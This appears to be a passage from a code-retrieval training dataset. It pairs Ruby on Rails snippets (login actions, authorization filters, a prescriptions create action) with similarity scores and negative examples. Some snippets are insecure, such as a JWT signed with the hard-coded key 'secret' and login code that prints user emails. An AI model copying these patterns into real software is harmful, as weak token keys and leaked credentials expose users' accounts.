"def attemp_signin\n login = params[:email]\n password = params[:password]\n\n #on recherche si les valeurs sont bien presentes\n if login.present? && password.present?\n @agent = Agent.find_by_email(login)\n if @agent.blank?\n respond_to do |format|\n format.json {}\n format.html {redirect_to :signin, notice: \"Utilisateur inconnu\"}\n end\n else\n if @agent.valid_password?(password)\n respond_to do |format|\n format.json {}\n format.html {redirect_to agentcrtl_customer_path, notice: \"Identifier en tant que #{@agent.email}\"}\n end\n end\n end\n else\n respond_to do |format|\n format.html {redirect_to agentcrtl_signin_path, notice: \"Aucun champ ne peu etre vide\"}\n format.json {}\n end\n end\n end",
"def authentication\n if UserSession.find.nil?\n respond_to do |format|\n format.html { redirect_to(\"/login\", :notice => 'You must be logged in') }\n end\n end\n end",
"def sign_in\n # Contact sign in page to set cookies.\n begin\n sign_in_res = RestClient.get(Endpoints::SIGN_IN)\n rescue RestClient::ExceptionWithResponse => error\n fail HelpDeskAPI::Exceptions.SignInError, \"Error contacting #{Endpoints::SIGN_IN}: #{error}\"\n end\n\n # Parse authenticity_token from sign in form.\n page = Nokogiri::HTML(sign_in_res)\n HelpDeskAPI::Authentication.authenticity_token = page.css('form').css('input')[1]['value']\n unless HelpDeskAPI::Authentication.authenticity_token\n fail HelpDeskAPI::Exceptions.AuthenticityTokenError, 'Error parsing authenticity_token: Token not found.'\n end\n # Parse sign_in HTML for csrf-token\n page.css('meta').each do |tag|\n HelpDeskAPI::Authentication.csrf_token = tag['content'] if tag['name'] == 'csrf-token'\n end\n unless HelpDeskAPI::Authentication.csrf_token\n fail HelpDeskAPI::Exceptions.CsrfTokenError, 'No csrf-token found'\n end\n\n # Set cookies for later requests\n HelpDeskAPI::Authentication.cookies = sign_in_res.cookies\n\n # Simulate sign in form submit button.\n body = {\n 'authenticity_token': HelpDeskAPI::Authentication.authenticity_token,\n 'user[email_address]': HelpDeskAPI::Authentication.username,\n 'user[password]': HelpDeskAPI::Authentication.password\n }\n RestClient.post(Endpoints::SESSIONS, body, {:cookies => HelpDeskAPI::Authentication.cookies}) do |response, request, result, &block|\n # Response should be a 302 redirect from /sessions\n if Request::responseError?(response)\n fail HelpDeskAPI::Exceptions.SessionsError, \"Error contacting #{Endpoints::SESSIONS}: #{error}\"\n end\n # Update cookies just incase\n HelpDeskAPI::Authentication.cookies = response.cookies\n end\n end",
"def signin_get\n @mode = :signin\n \n if params[:req].present? && !ApplicationController::RequiredIdentity.payload(session)\n @mode = :signup\n kind = params[:req].to_sym\n back = request.env[\"HTTP_REFERER\"]\n \n ApplicationController::RequiredIdentity.set_payload(session, \n :on_success => back,\n :on_cancel => back,\n :kind => kind)\n end\n \n render! :action => \"new\", :layout => \"dialog\"\n end",
"def authorized\n render json: {message: 'Please log in to continue'}, status: :unauthorized unless logged_in?\n end",
"def invalid_authentication\n render json: {errors: {code: 401, message: \"You need to sign in\"}}, status: :unauthorized\n end",
"def authenticate_user!(options = {})\n head :unauthorized unless signed_user_in?\n end",
"def login\n status = 200\n result = {}\n\n if @errors.empty?\n user = User.find_by(id: @user_id)\n if user.nil?\n @errors[:user_id] = 'is invalid'\n result[:success] = false\n result[:errors] = @errors\n status = 400\n else\n if user.authenticate(@password)\n result[:success] = true\n result[:access_token] = user.access_token\n else\n @errors[:password] = 'is invalid'\n result[:success] = false\n result[:errors] = @errors\n status = 400\n end\n end\n else\n result[:success] = false\n result[:errors] = @errors\n status = 400\n end\n render status: status, json: result\n end",
"def login\n user = User.find_by(email: params[:email])\n if (user && user.authenticate(params[:password]))\n render json: {user: user.user_information, token: JWT.encode({userId: user.id}, 'secret')}\n else\n render json: {errors: \"Invalid email/password combination. Please try again or register if you do not already have an account.\"}\n end\n end",
"def authenticate_user\n case request.format\n when /text\\/html/\n redirect_to new_session_path unless current_user\n when /application\\/json/\n head :unauthorized unless current_user\n end\n\n end",
"def create\n @response = DigitalTownService.new.loginUser(params[:user].slice(:email, :password)) \n if @response[\"error\"].blank?\n @user = User.find_by_email(params[:user][:email])\n setUserSession\n flash[:success] = 'Signed in Successfully'\n redirect_to dashboard_index_path\n # super\n else\n flash[:error] = @response[\"message\"]\n end\n end",
"def response_for_inauthentic_request(env)\n handle_head(env) do\n body = { 'errors' => { 'mauth' => ['Unauthorized'] } }\n [401, { 'Content-Type' => 'application/json' }, [JSON.pretty_generate(body)]]\n end\n end",
"def authorized\n render json: { message: 'Please log in' }, status: :unauthorized unless logged_in?\n end",
"def authorized\n render json: { message: 'Please log in'}, status: :unauthorized unless logged_in?\n end",
"def logged_in_user\n unless logged_in?\n respond_with_error \"This action requires that you be logged in.\", \n login_path\n end\n end",
"def login(email, password)\n post api_v1_user_session_path, \n headers: { 'CONTENT_TYPE' => 'application/json', 'ACCEPT' => 'application/json' },\n params: { email: email, password: password }.to_json\nend",
"def login\n if User.find_by(email: user_params[:email]).try(:authenticate, user_params[:password])\n puts \"GOTIT \", user_params[:email], \"dssdf\"\n render json: User.find_by(email: user_params[:email])\n else\n puts \"MISSEDIT \", user_params[:email], \"dssdf\"\n render json: \"false\"\n end\n end",
"def login\n return redirect_to \"/\" if current_user.present?\n\n respond_to do |format|\n format.html { render(\"login\") }\n format.text { render plain: \"Text not supported\" }\n format.json { render json: { error: \"JSON not supported\" } }\n end\n end",
"def sign_in(user)\n post sessions_path, params: { email: user.email, password: 'mypass' }\n end",
"def login\n user = User.find_by(username: user_params[:username])\n if user && user.authenticate(user_params[:password])\n render json: user, except: [:password_digest, :created_at, :updated_at]\n else\n render json: {errors: \"Wrong Username or Password!\"}\n end\n end",
"def authorized\n render json: { message: 'Please log in' }, status: :unauthorized unless logged_in?\n end",
"def auto_login\n render json: @user\n end"
] |
[
"0.6944364",
"0.682541",
"0.67671",
"0.67313886",
"0.67197853",
"0.66121066",
"0.6608107",
"0.65838295",
"0.6577535",
"0.6480334",
"0.6438396",
"0.6434034",
"0.64292264",
"0.64290094",
"0.6408391",
"0.639902",
"0.6366977",
"0.6338295",
"0.6318638",
"0.6314633",
"0.63138086",
"0.6308738",
"0.6291481",
"0.6286394",
"0.62860334",
"0.62806374",
"0.62773705",
"0.62614155",
"0.62474334",
"0.62410766",
"0.6229927",
"0.62257993",
"0.6214529",
"0.61974114",
"0.61966425",
"0.61799353",
"0.6173466",
"0.61513066",
"0.614501",
"0.6141826",
"0.6127302",
"0.61219877",
"0.6105406",
"0.61036694",
"0.61021566",
"0.6085099",
"0.608295",
"0.60828453",
"0.60823196",
"0.6081689",
"0.6080197",
"0.60791117",
"0.60741425",
"0.60722166",
"0.6051333",
"0.6050741",
"0.60497665",
"0.6045623",
"0.6045349",
"0.6024709",
"0.6022033",
"0.60117507",
"0.60104823",
"0.60020363",
"0.60020363",
"0.59898734",
"0.59811544",
"0.5978142",
"0.59700024",
"0.59691787",
"0.59653306",
"0.59624034",
"0.5952782",
"0.5950515",
"0.59501755",
"0.5945985",
"0.59457177",
"0.59450704",
"0.59410363",
"0.5927803",
"0.59254265",
"0.5922224",
"0.59196794",
"0.5910832",
"0.5906594",
"0.59065884",
"0.5900723",
"0.5896889",
"0.589681",
"0.5895042",
"0.5892641",
"0.5888949",
"0.58796334",
"0.5879004",
"0.5877637",
"0.58756435",
"0.5873282",
"0.5873213",
"0.58729875",
"0.58723205",
"0.58718395"
] |
0.0
|
-1
|
GET /electronic_prescriptions/1 GET /electronic_prescriptions/1.json
|
def show
PhxErxProcessor.parse_erx_file @electronic_prescription
render :edit
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_electronic_prescription\n @electronic_prescription = ElectronicPrescription.find(params[:id])\n end",
"def index\n @prescriptions = Prescription.all\n end",
"def index\n # @prenotations = Prenotation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @prenotations }\n end\n end",
"def show\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @premio }\n end\n end",
"def create\n\n electronic_prescription_params[:status] = electronic_prescription_params[:status].to_i\n @electronic_prescription = ElectronicPrescription.new(electronic_prescription_params)\n\n respond_to do |format|\n if @electronic_prescription.save\n format.html { redirect_to @electronic_prescription, notice: 'Electronic prescription was successfully created.' }\n format.json { render :show, status: :created, location: @electronic_prescription }\n else\n format.html { render :new }\n format.json { render json: @electronic_prescription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @preorder = Preorder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @preorder }\n end\n end",
"def index\n @requisitions = Requisition.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requisitions }\n end\n end",
"def show\n @precinct = Precinct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @precinct }\n end\n end",
"def show\n @purchase_requisition = PurchaseRequisition.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @purchase_requisition }\n end\n end",
"def show_rx_prescription\n @item = Item.find_by_rx_number( params[:rx_number] )\n render \"prescription\"\n end",
"def show\n @prescription = Prescription.find(params[:id])\n end",
"def show\n @inscriptionprepaconcour = Inscriptionprepaconcour.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inscriptionprepaconcour }\n end\n end",
"def show\n @electronic_approval = ElectronicApproval.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @electronic_approval }\n end\n end",
"def show\n @productonegocio = Productonegocio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @productonegocio }\n end\n end",
"def index\n if is_my_resource(params[:prossumer_id])\n @products = Product.where(prossumer_id: params[:prossumer_id]).as_json({\n cycle_id: params[:cycle_id],\n include: {\n prossumer: {\n except: [:encrypted_password, :salt, :confirm_hash]\n },\n product_category: {}\n }\n })\n render json: @products\n end\n end",
"def index\n if params[:id].present?\n @prescription = Prescription.find_by_id(params[:id].to_i)\n if @prescription.present?\n @order = @prescription.order\n render 'prescriptions/detail'\n else\n @prescriptions = Prescription.all\n render :index\n end\n end\n @prescriptions = Prescription.all\n @new_prescriptions = @prescriptions.where(status: 'Pending')\n @sent_prescriptions = @prescriptions.where(status: 'Proceed').order(:id)\n @reject_prescriptions = @prescriptions.where(status: 'Reject').order(:id)\n end",
"def show\n @rpm = Rpm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rpm }\n end\n end",
"def show\n @breadcrumb = 'read'\n @prereading = PreReading.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prereading }\n end\n end",
"def index\n @precincts = Precinct.all(:order => \"number\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @precincts }\n end\n end",
"def show\n @requisition = Requisition.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @requisition }\n format.xml { render xml: @requisitions }\n end\n end",
"def show\n @microposr = Microposr.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @microposr }\n end\n end",
"def show\n @receipt = Receipt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @receipt }\n end\n end",
"def get_from_npr(user_ingredients)\n raw_response=RestClient.get('http://api.npr.org/query?id=1139&fields=title,teaser,storyDate,byline,text&date&searchTerm=' + user_ingredients + '&dateType=story&output=JSON&apiKey=MDE5MDExNzc1MDE0MzA0MDE1NTViZDViOQ001')\n response = JSON.load(raw_response)\n\n if response[\"list\"][\"story\"] == nil\n puts \"Your search did not find any recipes...\"\n else\n recipes = response[\"list\"][\"story\"].map do |recipe|\n Recipe.new(\n title = recipe[\"title\"][\"$text\"],\n teaser = recipe[\"teaser\"][\"$text\"],\n link = recipe[\"link\"].first[\"$text\"],\n storyDate = recipe[\"storyDate\"][\"$text\"]\n )\n end\n end\n\nend",
"def index\n @property = Property.find(params[:property_id])\n @prenotations = @property.prenotations\n end",
"def medieval_composers\n response = RestClient.get 'https://api.openopus.org/composer/list/epoch/Medieval.json'\n json = JSON.parse response\n puts json\n\n if !json.nil?\n json[\"composers\"].map do |composer|\n Composer.create(name: \"#{composer[\"complete_name\"]}\", birth: \"#{composer[\"birth\"]}\", death: \"#{composer[\"death\"]}\", portrait: \"#{composer[\"portrait\"]}\", period_id: 1)\n end\n else\n puts \"Error seeding composers\"\n end\nend",
"def show\r\n\r\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/#{params[:id]}/information\")\r\n\r\n http = Net::HTTP.new(url.host, url.port)\r\n http.use_ssl = true\r\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n\r\n request = Net::HTTP::Get.new(url)\r\n request[\"x-rapidapi-key\"] = ENV[\"SPOONACULAR_API_KEY\"] # hidden API key\r\n request[\"x-rapidapi-host\"] = 'spoonacular-recipe-food-nutrition-v1.p.rapidapi.com'\r\n\r\n response = http.request(request)\r\n @recipe = JSON.parse response.read_body # gets the recipe\r\n\r\n p url_ingredients = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/#{params[:id]}/ingredientWidget.json\")\r\n\r\n http_ingredients = Net::HTTP.new(url_ingredients.host, url_ingredients.port)\r\n http_ingredients.use_ssl = true\r\n http_ingredients.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n\r\n request_ingredients = Net::HTTP::Get.new(url_ingredients)\r\n request_ingredients[\"x-rapidapi-key\"] = ENV[\"SPOONACULAR_API_KEY\"]\r\n request[\"x-rapidapi-host\"] = 'spoonacular-recipe-food-nutrition-v1.p.rapidapi.com'\r\n\r\n response_ingredients = http.request(request_ingredients)\r\n # puts response_ingredients.read_body\r\n @ingredients = JSON.parse # data is a string (which looks like a hash -> convert to hash) response_ingredients.read_body\r\n p \"RECIPES\"\r\n # p @recipe\r\n p \"INGREDIENTS\"\r\n p @ingredients\r\n\r\n end",
"def show\n @precious_metal = PreciousMetal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @precious_metal }\n end\n end",
"def show\n @historial = Historial.find(params[:id])\n @receta = Recete.histori(@historial.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @historial }\n end\n end",
"def retrieve_rates(date)\n path = \"http://openexchangerates.org/api/historical/#{date.to_s}.json?app_id=#{$app_id}\"\n response = Net::HTTP.get_response(URI.parse path)\n # TODO: error handling\n response.body\nend",
"def index\n @prescription_details = PrescriptionDetail.all\n end",
"def show\n @purchase_receipt = PurchaseReceipt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @purchase_receipt }\n end\n end",
"def show\n @uchronia = Uchronia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @uchronia }\n end\n end",
"def show\n @recipy = Recipy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipy }\n end\n end",
"def show\n @pre_print_type = PrePrintType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pre_print_type }\n end\n end",
"def show\n @rechnung = Rechnung.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rechnung }\n end\n end",
"def show\n @powerchip = Powerchip.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @powerchip }\n end\n end",
"def show\n @medusa_premis_representation_object = MedusaPremis::RepresentationObject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @medusa_premis_representation_object }\n end\n end",
"def index\n @medusa_premis_representation_objects = MedusaPremis::RepresentationObject.all\n\n respond_to do |format|\n format.html {setup_next_and_previous_documents} # index.html.erb\n format.json { render json: @medusa_premis_representation_objects }\n end\n end",
"def licenses\n publisher_id = current_user.id\n @licenses = PowerChip.where(:publisher_id=>publisher_id)\n respond_to do |format|\n format.html # licenses.html.erb\n format.json { render json: @licenses }\n end\n end",
"def index\n @users_prescriptions = UsersPrescription.all\n end",
"def index\n @transcriptions = Transcription.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transcriptions }\n end\n end",
"def show\n @apprentice = Apprentice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @apprentice }\n end\n end",
"def index\n @prescribtion_details = PrescribtionDetail.all\n end",
"def index\n if receipt_type\n @receipts = receipt_type.includes(:representative).all\n else\n redirect_to root_url\n end\n end",
"def show\n @reprogramacion = Reprogramacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reprogramacion }\n end\n end",
"def show\n @conductor = Conductor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conductor }\n end\n end",
"def show\n @conductor = Conductor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conductor }\n end\n end",
"def show\n @pinit = Pinit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pinit }\n end\n end",
"def show\n render json: @prossumer\n end",
"def index\n @preproducts = Preproduct.all\n end",
"def index\n @recipies = Recipy.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recipies }\n end\n end",
"def show\n @preceed = Preceed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @preceed }\n end\n end",
"def events\n url = 'https://api.artic.edu/api/v1/exhibitions?limit=35'\n\n res = RestClient.get(url)\n JSON.parse(res)\nend",
"def index\n @premios = Premio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @premios }\n end\n end",
"def show\n @uchronist = Uchronist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @uchronist }\n end\n end",
"def show\n @rinit = Rinit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rinit }\n end\n end",
"def index\n info = Aws.get_recipes_from_db\n render :json => info\n end",
"def show\n @orc = Orc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @orc }\n end\n end",
"def show\n response = Aws.list_recipe(params[:id])\n render :json => response\n end",
"def show\n eps = EpV2.select(\"id,title,prelink\").where(\"show_id = #{params[:id]}\")\n .order(\"id DESC\").paginate(:page => params[:page], :per_page => 20)\n\n render :json => eps.to_json\n end",
"def index\n @prescriptions = Prescription.where(:user_id => current_user.id).order(\"prescribed_at DESC\")\n end",
"def show\n @autore = Autore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @autore }\n end\n end",
"def show\n @rum = Rum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rum }\n end\n end",
"def show\n @client_release = ClientRelease.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client_release }\n end\n end",
"def show\n @plate = Plate.find(params[:id])\n\n render json: @plate\n end",
"def show\n render json: @pricing\n end",
"def show\n @cartucho = Cartucho.find(params[:id])\n @historials =@cartucho.historials\n @historial = Historial.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cartucho }\n end\n end",
"def show\n @prepagada = Prepagada.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prepagada }\n end\n end",
"def show\n if is_my_resource(@product.prossumer_id)\n render json: @product.as_json({\n cycle_id: params[:cycle_id],\n include: {\n prossumer: {\n except: [:encrypted_password, :salt, :confirm_hash]\n },\n product_category: {}\n }\n })\n end\n end",
"def show\n @thermo_oil_distribution_year = ThermoOilDistributionYear.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @thermo_oil_distribution_year }\n end\n end",
"def show\n @transcription = Transcription.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @transcription }\n end\n end",
"def show\n @presenza = Presenza.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @presenza }\n end\n end",
"def show\n @pre_sale = PreSale.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pre_sale }\n end\n end",
"def url\n '/api/invoices'\n end",
"def show\n @microposst = Microposst.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @microposst }\n end\n end",
"def show\n json_response(@api_v1_product)\n end",
"def show\n # @invoice = Invoice.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invoice }\n end\n end",
"def show\n @preguntum = Preguntum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @preguntum }\n end\n end",
"def show\n @promocion = Promocion.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @promocion }\n end\n end",
"def index\n @client_releases = ClientRelease.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @client_releases }\n end\n end",
"def show\n @pre_step = PreStep.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pre_step }\n end\n end",
"def show\n @prestacion = Prestacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prestacion }\n end\n end",
"def show\n @premise_type = PremiseType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @premise_type }\n end\n end",
"def create\n @electronic = Electronic.new(electronic_params)\n\n respond_to do |format|\n if @electronic.save\n format.html { redirect_to @electronic, notice: 'Electronic was successfully created.' }\n format.json { render :show, status: :created, location: @electronic }\n else\n format.html { render :new }\n format.json { render json: @electronic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @caracteristica_cartum = CaracteristicaCartum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caracteristica_cartum }\n end\n end",
"def show\n @volantino = Volantino.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @volantino }\n end\n end",
"def show\n @preparatoria_o_universidad_de_origen = PreparatoriaOUniversidadDeOrigen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @preparatoria_o_universidad_de_origen }\n end\n end",
"def show\n @early_pregnancy = EarlyPregnancy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @early_pregnancy }\n end\n end",
"def show\n @plate_cost = PlateCost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plate_cost }\n end\n end",
"def show\n @money_receipt = MoneyReceipt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @money_receipt }\n end\n end",
"def index\n @electronics = Electronic.all\n end",
"def show\n @getinvoicedatum = Getinvoicedatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @getinvoicedatum }\n end\n end",
"def index\n @coupons = Coupon.where('shop_id = ?', params[:shop_id])\n\n respond_to do |format|\n format.html { show_from_resource('index', 'shop_index') }\n format.json { render json: @coupons }\n end\n end",
"def show\n @encuestum = Encuestum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @encuestum }\n end\n end",
"def show\n @invoice = Invoice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invoice }\n end\n end",
"def show\n @central_correio = CentralCorreio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @central_correio }\n end\n end",
"def show\n @producer = Finder.find_producer_by_id params[:id]\n @producer ||= KiWi.show_producer params[:id]\n\n render json: @producer\n end",
"def show\n @repa = Repa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repa }\n end\n end",
"def show\n @data = @recipe.read(params[:id])\n render json: @data\n end",
"def showReceipt\n render json: Approved.findReceipt(params[\"id\"])\n end"
] |
[
"0.6285052",
"0.59483534",
"0.57002324",
"0.56890583",
"0.56842476",
"0.56371576",
"0.5618511",
"0.56046486",
"0.5578423",
"0.550097",
"0.54844314",
"0.54687935",
"0.5455063",
"0.5425719",
"0.5418331",
"0.5410704",
"0.5399116",
"0.5393933",
"0.53831005",
"0.5377472",
"0.5360201",
"0.53537756",
"0.53404546",
"0.53381944",
"0.5313692",
"0.53114855",
"0.53036714",
"0.53033054",
"0.529971",
"0.52964133",
"0.52871066",
"0.528515",
"0.52752584",
"0.5260575",
"0.52585214",
"0.5253323",
"0.52507156",
"0.52502",
"0.5246057",
"0.5244145",
"0.52394414",
"0.521939",
"0.5216416",
"0.52145755",
"0.52076733",
"0.5204693",
"0.5204693",
"0.5202181",
"0.520115",
"0.5179079",
"0.5177597",
"0.5171872",
"0.5164323",
"0.5163946",
"0.51624775",
"0.5159447",
"0.5155785",
"0.5148552",
"0.5141613",
"0.51364195",
"0.5132236",
"0.51286453",
"0.5127121",
"0.51254416",
"0.51236176",
"0.5121498",
"0.5120281",
"0.5119393",
"0.5114447",
"0.5105663",
"0.5102701",
"0.51018167",
"0.5096547",
"0.50927556",
"0.5089812",
"0.50895804",
"0.5084796",
"0.50841033",
"0.508379",
"0.50814754",
"0.50810605",
"0.50787205",
"0.50742996",
"0.5074258",
"0.5068853",
"0.5066499",
"0.5066436",
"0.5064899",
"0.5064411",
"0.506285",
"0.50624907",
"0.5061188",
"0.5057536",
"0.5056633",
"0.505597",
"0.5055234",
"0.50548244",
"0.5050786",
"0.50506353",
"0.50470924"
] |
0.5178608
|
50
|
POST /electronic_prescriptions POST /electronic_prescriptions.json
|
def create
electronic_prescription_params[:status] = electronic_prescription_params[:status].to_i
@electronic_prescription = ElectronicPrescription.new(electronic_prescription_params)
respond_to do |format|
if @electronic_prescription.save
format.html { redirect_to @electronic_prescription, notice: 'Electronic prescription was successfully created.' }
format.json { render :show, status: :created, location: @electronic_prescription }
else
format.html { render :new }
format.json { render json: @electronic_prescription.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_electronic_prescription\n @electronic_prescription = ElectronicPrescription.find(params[:id])\n end",
"def create\n @patient = Patient.find(params[:patient_id])\n @prescription = @patient.prescriptions.build(prescription_params)\n @prescription.formulary_status = FORMULARY_STATUSES.sample\n @prescription.date_prescribed = Time.zone.now\n @prescription.active = true\n\n respond_to do |format|\n if @prescription.save\n format.html { redirect_to @patient, notice: 'Prescription was successfully created.' }\n format.json { render :show, status: :created, location: @prescription }\n else\n format.html { render :new }\n format.json { render json: @prescription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n begin\n @prescription = current_user.prescriptions.new(prescription_params)\n @prescription.save!\n render_success_response \"Prescription sent to admin successfully\"\n rescue => e\n bad_request_error(e.message)\n end\n end",
"def electronic_prescription_params\n params.require(:electronic_prescription).permit(:transmission_number, :prescriber_spi_number, :prescriber_order_number, :prescriber_reference_number, :prescriber_reference_number_qualifier, :prescriber_clinic_name_extended, :prescriber_service_location, :prescriber_facility_qualifier, :prescriber_facility_code, :prescriber_claim_frequency, :prescriber_specialty, :prescriber_agency_qualifier, :prescriber_specialty_code, :prescriber_last_name, :prescriber_first_name, :prescriber_middle_name, :prescriber_suffix, :prescriber_prefix, :prescriber_zip_code, :prescriber_clinic_name, :prescriber_clinic_address1, :prescriber_clinic_address2, :prescriber_clinic_city, :prescriber_clinic_state, :prescriber_clinic_zip, :prescriber_phone_number, :prescriber_phone_number_qualifier, :prescriber_agent_last_name, :prescriber_agent_first_name, :prescriber_agent_middle_name, :prescriber_agent_suffix, :prescriber_agent_prefix, :patient_individual_relationship, :patient_birthdate, :patient_last_name, :patient_first_name, :patient_middle_name, :patient_suffix, :patient_prefix, :patient_gender, :patient_id_number, :patient_id_number_qualifier, :patient_address1, :patient_address2, :patientcity, :patient_state, :patient_zip, :patient_phone_number, :patient_phone_number_qualifier, :item_description, :item_number, :item_number_qualiifer, :item_dosage_form_code, :item_strength, :item_strength_quallifier, :item_database_code, :item_database_source, :item_name_long1, :item_name_long2, :item_name_long3, :item_form_source_code, :item_form_code, :item_strength_source_code, :item_drug_strength, :item_dea_schedule, :item_quantity_qualifier, :item_quantity, :item_quantity_list_qualiifer, :item_quantity_unit_source_code, :item_quantity_potency_code, :item_sig1, :item_sig2, :item_date_qualifier, :item_date, :item_date_format, :item_substitution_code, :item_refill_prescribed_qualifier, :item_refill_prescribed, :diagnosis_qualifier, :diagnosis_code, :prior_authorization_number, :prior_authorization_qualifier, :free_text, :dur_reason_code, :dur_professional_code, :dur_result_code, :coagent_id, :coagent_id_qualifier, :clinical_priority, :acknowledgement_reason, :coverage_status_code, :prior_authorization_status, :do_not_fill, :need_by_date_qualifier, :need_by_date, :need_by_date_format, :timezone_id, :timezon_different_quantity, :need_by_reason, :supervisor_spi_number, :supervisor_qualifier, :supervisor_facility_qualifier, :supervisor_facility_code, :supervisor_claim_frequency, :supervisor_specialty, :supervisor_agency_qualifier, :supervisor_specialty_code, :supervisor_last_name, :supervisor_first_name, :supervisor_middle_name, :supervisor_suffix, :supervisor_prefix, :supervisor_zip_code, :supervisor_clinic_name, :supervisor_clinic_address1, :supervisor_clinic_address2, :supervisor_clinic_city, :supervisor_clinic_state, :supervisor_clinic_zip, :supervisor_phone_number, :supervisor_phone_number_qualifier, :supervisor_agent_last_name, :supervisor_agent_first_name, :supervisor_agent_middle_name, :supervisor_agent_suffix, :supervisor_agent_prefix)\n end",
"def create\n @pre_payment_req = PrePaymentReq.new(pre_payment_req_params)\n\n respond_to do |format|\n if @pre_payment_req.save\n format.html { redirect_to @pre_payment_req, notice: 'Pre payment req was successfully created.' }\n format.json { render :show, status: :created, location: @pre_payment_req }\n else\n format.html { render :new }\n format.json { render json: @pre_payment_req.errors, status: :unprocessable_entity }\n end\n end\n end",
